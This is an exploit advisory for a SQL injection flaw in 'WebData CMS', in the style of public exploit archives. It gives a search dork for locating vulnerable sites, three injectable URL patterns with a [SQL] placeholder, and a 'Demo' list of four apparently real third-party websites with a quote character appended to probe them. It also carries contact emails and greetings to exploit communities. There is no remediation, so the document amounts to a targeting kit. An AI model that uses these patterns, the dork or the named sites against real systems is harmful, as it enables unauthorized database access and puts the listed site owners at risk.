######################################################################################## # # # Exploit Title : WebData CMS SQL Injection Vulnerability # # # # Author : Secure-Land Security Team # # # # Discovered By : farbodmahini # # # # Home : Secure-Land.net # # # # Version : All Version # # # # Vendor : www.webdatadevelopers.com # # # # Contact : farbodmahini@yahoo.fr , farbodmahini@gmail.com # # # # Security Risk : High # # # # DorK : "Powered by WebData" # # # # # ######################################################################################## # # # Expl0iT: # # # # http://[TarGeT]/page.asp?Id=[SQL] # # http://[TarGeT]/Product.asp?Clv=[SQL] # # http://[TarGeT]/Products.asp?Id=[SQL] # # # # # # Demo : # # # # http://www.gardel.com.mx/Products.asp?Id=2' # # http://www.gardel.com.mx/Product.asp?Clv=1' # # http://www.indzarco.com.mx/Page.asp?Id=102' # # http://www.euroval.com.mx/page.asp?Id=104' # # # ######################################################################################## # # # Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us # # # ######################################################################################## # # # Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id # # # ########################################################################################